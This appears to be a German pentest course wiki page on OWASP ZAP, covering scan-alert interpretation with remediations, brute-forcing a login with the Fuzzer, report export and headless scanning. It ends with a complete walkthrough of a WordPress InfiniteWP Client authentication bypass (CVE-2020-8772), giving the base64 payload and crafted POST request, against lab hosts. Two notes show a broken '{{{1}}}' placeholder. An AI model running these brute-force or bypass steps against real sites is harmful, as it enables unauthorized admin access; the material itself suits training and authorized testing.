Nach dem Durchlauf zeigt ZAP die gefundenen Alerts als Baum an. Im Beispiel sind es 17 Fundstellen; die Zahl in Klammern nennt die Anzahl betroffener URLs:

  • Cross Site Scripting (DOM Based) (4)
  • Cross Site Scripting (Reflected) (2)
  • Remote OS Command Injection
  • SQL Injection (4)
  • Absence of Anti-CSRF Tokens (Systemic)
  • Content Security Policy (CSP) Header Not Set (Systemic)
  • Missing Anti-clickjacking Header (Systemic)
  • Sub Resource Integrity Attribute Missing (2)
  • In Page Banner Information Leak (Systemic)
  • Server Leaks Version Information via "Server" HTTP Response Header Field (Systemic)
  • Strict-Transport-Security Header Not Set (Systemic)
  • X-Content-Type-Options Header Missing (Systemic)
  • Authentication Request Identified (2)
  • Information Disclosure - Suspicious Comments (4)
  • Modern Web Application (2)
  • Re-examine Cache-control Directives (Systemic)
  • User Controllable HTML Element Attribute (Potential XSS) (14)

ZAP-Fundstellen im Überblick

ZAP nennt jede Fundstelle "Alert" - das hat nichts mit den Alerts in GVM zu tun, wo damit Benachrichtigungen gemeint sind.

Die Zahl in Klammern gibt die Anzahl betroffener URLs an. "(Systemic)" bedeutet, dass der Befund die gesamte Anwendung betrifft; ZAP fasst dann zusammen, statt hunderte gleichartige Treffer zu listen.

Die Fundstellen sind farblich nach Risiko markiert. In der ausgeklappten Ansicht steht die Farbe als kleines Fähnchen vor jeder Zeile:

Risikostufen in ZAP
Farbe Stufe Bedeutung
rot High nachgewiesene, ausnutzbare Schwachstelle
orange Medium fehlende Schutzmaßnahme oder eingeschränkt ausnutzbar
gelb Low geringe Auswirkung, meist Informationspreisgabe
blau Informational Beobachtung ohne Sicherheitsrelevanz

Nachgewiesene Schwachstellen

Fundstelle Erklärung Abhilfe
Remote OS Command Injection Eingaben fließen in einen Systemaufruf. Mit Trennzeichen wie ; oder | hängt der Angreifer eigene Befehle an und führt Code auf dem Server aus - mit den Rechten des Webserver-Prozesses. Systemaufrufe mit Benutzerdaten vermeiden; wenn unvermeidbar, Argumente als Array übergeben statt als Kommandozeile
SQL Injection Eingaben landen ungefiltert in einer Datenbankabfrage. Reicht vom Lesen fremder Datensätze bis zum Umgehen der Anmeldung. Prepared Statements mit gebundenen Parametern statt zusammengebauter Abfragestrings
Cross Site Scripting (DOM Based) JavaScript liest Daten aus URL oder Fragment und schreibt sie über innerHTML ins Dokument. Läuft rein im Browser - der Server sieht die Nutzlast nie. Sichere DOM-Methoden wie textContent; keine ungeprüften Daten in innerHTML
Cross Site Scripting (Reflected) Eine Eingabe geht an den Server und erscheint unverändert in der Antwort. Angriff über präparierten Link, wirkt in der Sitzung des Opfers. Kontextabhängige Ausgabekodierung

Fehlende Schutzmaßnahmen

Keine Lücken für sich genommen, aber sie erleichtern die Ausnutzung anderer Fehler.

Fundstelle Erklärung Abhilfe
Absence of Anti-CSRF Tokens Formulare ohne unvorhersehbares Token lassen sich von fremden Seiten absenden; der Browser hängt die Cookies automatisch an. Token pro Formular und Sitzung; SameSite-Cookies
Content Security Policy (CSP) Header Not Set Ohne CSP fehlt die zweite Verteidigungslinie, die eine gefundene XSS-Lücke oft noch entschärft. Content-Security-Policy setzen, möglichst ohne unsafe-inline
Missing Anti-clickjacking Header Die Seite lässt sich in einen fremden iframe einbetten und mit einer transparenten Schicht überlagern. frame-ancestors in der CSP, ersatzweise X-Frame-Options
Strict-Transport-Security Header Not Set Der erste Aufruf kann über HTTP erfolgen und abgefangen werden. Strict-Transport-Security mit ausreichender max-age
X-Content-Type-Options Header Missing Ohne nosniff raten Browser den Inhaltstyp; eine hochgeladene Datei kann so als Skript ausgeführt werden. X-Content-Type-Options: nosniff
Sub Resource Integrity Attribute Missing Extern eingebundene Skripte ohne integrity-Attribut: Wird das CDN manipuliert, führt die Seite fremden Code aus. integrity- und crossorigin-Attribut setzen
Re-examine Cache-control Directives Cache-Vorgaben, die persönliche Inhalte in Proxys oder im Browser-Cache liegen lassen könnten. Cache-Control: no-store für authentifizierte Antworten

Informationspreisgabe

Fundstelle Erklärung Abhilfe
Server Leaks Version Information Produkt und Version im Server-Header. Kein Angriffsweg, aber Aufklärung: Der Angreifer weiß, welche Exploits in Frage kommen. ServerTokens Prod bzw. server_tokens off
In Page Banner Information Leak Versionsangaben im Seiteninhalt, etwa auf Standard- oder Fehlerseiten. Standardseiten ersetzen
Information Disclosure - Suspicious Comments HTML-Kommentare mit Wörtern wie "TODO" oder "password". Meist harmlos, gelegentlich Hinweise auf interne Pfade oder Testzugänge. Kommentare beim Ausliefern entfernen

Hinweise ohne Sicherheitsrelevanz

Fundstelle Erklärung
Authentication Request Identified ZAP hat Anmeldeformulare erkannt - Hinweis darauf, wo für einen authentifizierten Scan Zugangsdaten hinterlegt werden können.
Modern Web Application Die Anwendung nutzt viel JavaScript. Ein reiner HTML-Crawl erreicht nicht alle Funktionen; hier ist der AJAX-Spider nötig.
User Controllable HTML Element Attribute (Potential XSS) Eingaben landen in HTML-Attributen. ZAP hat keinen Angriff nachgewiesen, nur den Weg beobachtet - Prüfkandidaten, keine Befunde.

ℹ️ Hinweis: Der Unterschied zwischen nachgewiesen und vermutet ist zentral: Die vier bestätigten DOM-XSS-Funde hat ZAP durch manipulierte Eingaben belegt, die 14 "Potential XSS" nur durch Beobachtung vermutet. In GVM übernimmt die Quality of Detection diese Rolle, in ZAP steht sie im Namen der Fundstelle.

ℹ️ Hinweis: Priorisiert wird nicht nach Farbe, sondern danach, wie tief ein Angreifer kommt: erst Command Injection (Codeausführung auf dem Server), dann SQL Injection (Datenbank), dann XSS (Browser des Opfers), zuletzt die fehlenden Header.

Brute Force

Passwortliste laden

Die Passwortliste enthält häufig verwendete, schwache Passwörter und dient als Payload-Quelle für den Angriff.

ZAP starten und Browser öffnen

ZAP fängt Requests standardmäßig nicht ab (Break ist aus) - anders als bei Burp gibt es kein Interception-Umschalten. Über den eingebauten Browser wird der Proxy automatisch gesetzt und das ZAP-Zertifikat ist bereits importiert.

  • Manual Explore
    • Launch Browser
Es öffnet sich ein Browser, dessen Verkehr komplett über ZAP läuft.

Opfer aufrufen

Im ZAP-Browser die Login-Seite des Opfers aufrufen.

Testlogin absenden

Einmal mit einem beliebigen Test-Passwort einloggen, damit der POST-Request mit allen Parametern in ZAP auftaucht.

  • User: xinux
  • Password: sux
Dieser Request dient als Vorlage - an ihm wird gleich die Payload-Position gesetzt.

Request in den Fuzzer schicken

Der abgesendete Request landet unten im History-Tab. Dies entspricht Burps "HTTP history".

  • History (unten)
    • POST-Paket mit Params auswählen
  • Rechte Maustaste auf den Request
    • Attack
      • Fuzz...
Der ZAP-Fuzzer ist das Gegenstück zu Burps Intruder - in ZAP voll und ungedrosselt nutzbar.

Payload-Position markieren

Im Fuzzer-Fenster wird der Request angezeigt. Statt wie bei Burp alle automatischen Positionen zu löschen, wird die Position direkt durch Markieren gesetzt.

Im Request-Text den Passwort-Wert sux mit der Maus markieren
Rechts auf Add... klicken
Die markierte Stelle wird zur Fuzz-Position. Ein vorheriges "Clear" wie bei Burp ist nicht nötig.

Payloads laden

Jetzt wird der markierten Position die Passwortliste als Payload-Quelle zugewiesen.

Im Payloads-Dialog auf Add... klicken
Type
File wählen und die Datei bad-passwords laden
Alternativ Type: Strings - das entspricht Burps "Simple list", bei der die Einträge direkt untereinander eingefügt werden.

Erfolg erkennen

ZAP hat keinen fertigen "Grep-Match"-Haken wie Burp. Der erfolgreiche Login wird stattdessen über die Antwortgröße erkannt: Eine erfolgreiche Anmeldung liefert eine andere Seite als eine fehlgeschlagene, also weicht die Länge der Antwort ab.

  • Fuzzer starten
  • In der Ergebnisliste nach der Spalte Size Resp. Body sortieren
Der Treffer fällt durch die abweichende Länge sofort auf. Diese Spalte entspricht Burps "Length".

Angriff starten

  • Start Fuzzer drücken
ZAP arbeitet die komplette Passwortliste ab. Die Content-Length muss nicht angepasst werden - ZAP korrigiert sie beim Fuzzen automatisch. Die Anzahl paralleler Threads lässt sich im Fuzzer unter Options einstellen.

Optional: automatisch auf einen Text in der Antwort prüfen

Wer den Treffer nicht über die Größe, sondern über einen bestimmten Text in der erfolgreichen Antwort (z.B. das Wort Hallo) erkennen will, kann ein kleines Processor-Script einhängen. Es benötigt das Skripting-Add-on, das in ZAP kostenlos enthalten ist.

Fuzzer HTTP Processor-Script
function processResult(utils, fuzzResult) {
    var body = fuzzResult.getHttpMessage().getResponseBody().toString();
    if (body.indexOf("Hallo") > -1) {
        fuzzResult.addCustomState("Treffer", "JA");
    }
    return true;
}
Das Script im Fuzzer unter Message Processors einhängen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.

Report für Faraday

Ziel: Den ZAP-Scan als XML exportieren, damit er sich in Faraday importieren lässt. Faraday besitzt einen Parser für das klassische ZAP-XML-Format; deshalb wird hier die Vorlage "Traditional XML Report" verwendet und nicht HTML oder PDF.

Report generieren

  • Menü Report
    • Generate Report...

Es öffnet sich der Dialog "Generate Report" mit den Reitern Scope, Template, Filter und Options.

Template: Traditional XML auswählen

Im Reiter Template die Vorlage einstellen:

Feld Wert
Template Traditional XML Report
Theme (leer, für XML ohne Bedeutung)
Sections No sections defined

Scope: Ziel und Ausgabe festlegen

Im Reiter Scope die Ausgabedatei und den Umfang festlegen. Die folgenden Werte sind das Beispiel aus dem Kurs:

Feld Beispielwert Bedeutung
Report Title ZAP Scanning Report Titel im Report
Report Name 2022-10-06-ZAP-Report-.xml Dateiname der Ausgabe
Report Directory /home/xinux Zielverzeichnis
Description (leer) optionaler Beschreibungstext
Contexts Default Context einbezogener ZAP-Kontext
Sites http://10.0.10.104 gescanntes Ziel, das in den Report soll
Generate If No Alerts aus ohne Funde keinen Report erzeugen
Display Report an Report nach dem Erzeugen gleich anzeigen
  • Generate Report drücken

Ergebnis

ZAP schreibt die Datei in das angegebene Verzeichnis und öffnet sie (bei aktiviertem Display Report) im Browser. Die Datei enthält keine Style-Information, der Browser zeigt daher den reinen XML-Baum an.

Aufbau der XML (gekürzt):

<OWASPZAPReport version="2.11.1" generated="Thu, 6 Oct 2022 15:02:21">
  <site name="http://10.0.10.104" host="10.0.10.104" port="80" ssl="false">
    <alerts>
      <alertitem>
        <pluginid>40026</pluginid>
        <alertRef>40026</alertRef>
        <alert>Cross Site Scripting (DOM Based)</alert>
        <name>Cross Site Scripting (DOM Based)</name>
        <riskcode>3</riskcode>
        <confidence>3</confidence>
        <riskdesc>High (High)</riskdesc>
        <confidencedesc>High</confidencedesc>
        <desc>...</desc>
        <instances>
          <instance>
            <uri>http://10.0.10.104/login.php#...</uri>
          </instance>
        </instances>
      </alertitem>
    </alerts>
  </site>
</OWASPZAPReport>

ℹ️ Hinweis: Das Wurzelelement heißt weiterhin OWASPZAPReport, obwohl ZAP kein OWASP-Projekt mehr ist. Der Name ist Teil des Dateiformats und wurde aus Kompatibilitätsgründen beibehalten - Faraday und andere Parser erkennen den Report daran.

ℹ️ Hinweis: {{{1}}}

CLI / Headless-Scan ohne Docker

Der Headless-Modus ermöglicht automatisierte Scans ohne grafische Oberfläche, ideal für die Integration in CI/CD-Pipelines, regelmäßige Sicherheitstests und die automatisierte Berichterstellung. Der Quick-Scan über die Kommandozeile führt immer die gleiche Kette aus: Er ruft die URL auf, lässt den Spider die Seite crawlen und startet anschließend den aktiven Scanner mit der Standard-Scan-Policy.

Grundlegender Scan

Der einfachste Befehl für einen schnellen Scan mit HTML-Report:

/usr/share/zaproxy/zap.sh -cmd -quickurl "http://victim.secure.local" -quickout "/tmp/report.html"

Mit -quickprogress zeigt ZAP zusätzlich ASCII-Fortschrittsbalken an.

Report-Format wählen

-quickout gibt genau eine Datei aus. Das Format ergibt sich aus der Dateiendung:

Endung Format
.html HTML-Report
.json JSON
.xml XML (auch der Standard, wenn keine der Endungen passt)
.md Markdown
/usr/share/zaproxy/zap.sh -cmd -quickurl "http://victim.secure.local" -quickout "/tmp/report.xml"

ℹ️ Hinweis: Mehrere Formate lassen sich nicht durch mehrfaches -quickout in einem Aufruf erzeugen - nur die letzte Angabe zählt. Für mehrere Formate entweder den Scan je Format erneut starten oder besser die API bzw. das Automation Framework nutzen, die aus einer Sitzung mehrere Reports schreiben, ohne erneut anzugreifen.

Einzelne Scan-Phasen steuern

Spider und aktiver Scan lassen sich über die Quick-Start-Kommandozeile nicht getrennt aufrufen - Flags wie -spider oder -activescan gibt es dort nicht. Wer die Phasen einzeln oder mit mehr Kontrolle fahren will (Authentifizierung, eigene Policy, nur Spider), nutzt eine der folgenden Automatisierungen:

  • Automation Framework - ein YAML-Plan, gestartet mit -autorun plan.yaml. Empfohlen für alles Nicht-Triviale, nicht an Docker gebunden.
  • API und Daemon - volle Kontrolle über die REST-API (siehe unten).

API-Methode

Für maximale Flexibilität ZAP als Daemon starten und über die API steuern:

# ZAP als Daemon starten (API-Key für ein Labor deaktiviert)
/usr/share/zaproxy/zap.sh -daemon -port 8080 -config api.disablekey=true

# Report per API generieren
curl "http://localhost:8080/JSON/reports/action/generate/\
?title=Scan-Report\
&template=traditional-html\
&reportFileName=report.html\
&reportDir=/tmp"

ℹ️ Hinweis: {{{1}}}

Tipps

  • Speicherlimit erhöhen: -Xmx4096m (4 GB RAM) als Java-Argument mitgeben
  • Für nicht-triviale Scans (Login, eigene Policy, mehrere Reports) auf das Automation Framework wechseln
  • Der Quick-Scan greift das Ziel aktiv an - nur gegen Systeme laufen lassen, für die eine Freigabe vorliegt

ZAP Authentication Bypass Wordpress

Anforderungen

Das Ziel muss das WordPress-Plugin "InfiniteWP Client" in einer Version kleiner als 1.9.4.5 installiert haben.

ℹ️ Hinweis: Das Plugin kann auch in einer Version kleiner als 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.

Plugin-Version ermitteln

  • Greenbone-Scan durchführen
  • wpscan durchführen

Weitere Voraussetzungen

  • Der Angreifer muss den Benutzernamen des Admins kennen.
  • Der Benutzername "admin" ist bei Standard-WordPress-Installationen häufig gesetzt und kann per wpscan oder Greenbone-Fund bestätigt werden.

Funktionsweise der Schwachstelle

Das Plugin prüft bei bestimmten Aktionen nicht, ob der Aufrufer authentifiziert ist. Stattdessen wertet es einen POST-Parameter aus, der eine base64-kodierte JSON-Struktur mit dem Präfix _IWP_JSON_PREFIX_ enthält. Enthält dieser Parameter einen gültigen Admin-Benutzernamen, meldet das Plugin den Benutzer ohne Passwortprüfung an. Der Angriff besteht also darin, einen solchen Parameter in einen POST-Request an die WordPress-Startseite einzuschleusen.

Payload erstellen

Warum Base64-Kodierung?

Das Plugin erwartet die Nutzdaten base64-kodiert. Hintergrund: Base64 Kodierung

JSON-Struktur

Die Nutzdaten bestehen aus einem JSON-Objekt mit der Aktion und dem Zielbenutzernamen:

{"iwp_action":"add_site","params":{"username":"admin"}}

In Base64 umwandeln

echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0

Ergebnis:

eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=

Fertiger Payload

Den base64-String an den Präfix anhängen - kein Leerzeichen dazwischen:

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=

Angriff mit ZAP

Das Gegenstück zu Burps Intercept ist in ZAP die Break-Funktion. Ein abgefangener Request landet im "Break"-Tab und kann dort direkt bearbeitet werden.

ZAP starten und Browser öffnen

  • Manual Explore
    • Launch Browser
Der Browser läuft über den ZAP-Proxy; das ZAP-Zertifikat ist bereits importiert.

Break aktivieren

  • In der ZAP-Werkzeugleiste auf das Break-Symbol klicken (roter Kreis) oder Strg+B drücken
Break ist jetzt aktiv - ZAP hält den nächsten Request an, bevor er das Ziel erreicht.

Opfer-Website aufrufen

Im ZAP-Browser zur WordPress-Startseite navigieren:

Der abgefangene GET-Request erscheint im "Break"-Tab.

Request von GET auf POST umstellen

Im Break-Tab den Request direkt bearbeiten:

Erste Zeile von GET / HTTP/1.1 auf POST / HTTP/1.1 ändern
Unterhalb der bestehenden Header eine Leerzeile lassen und dann den Payload eintragen
POST / HTTP/1.1
Host: wordpress.secure.local
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=

ℹ️ Hinweis: ZAP passt die Content-Length beim Absenden nicht automatisch an, wenn man den Body manuell einträgt. Den Wert daher selbst auf die tatsächliche Byte-Länge des Payloads setzen oder nach dem Eintragen prüfen.

Request absenden

  • Im Break-Tab auf "Submit" (Pfeil-Symbol) klicken
Der manipulierte POST-Request wird an das Ziel weitergeleitet.

Break deaktivieren

  • Erneut auf das Break-Symbol klicken oder Strg+B drücken
Weitere Requests laufen jetzt wieder ungehalten durch.

Opfer-Website neu laden

Im ZAP-Browser die WordPress-Seite neu laden.

Resultat

Die WordPress-Seite lädt nun mit der Admin-Leiste am oberen Rand - "Willkommen, admin" ist rechts oben sichtbar. Der Angreifer ist ohne Passwort als Administrator angemeldet.

CVE

  • CVE-2020-8772

Links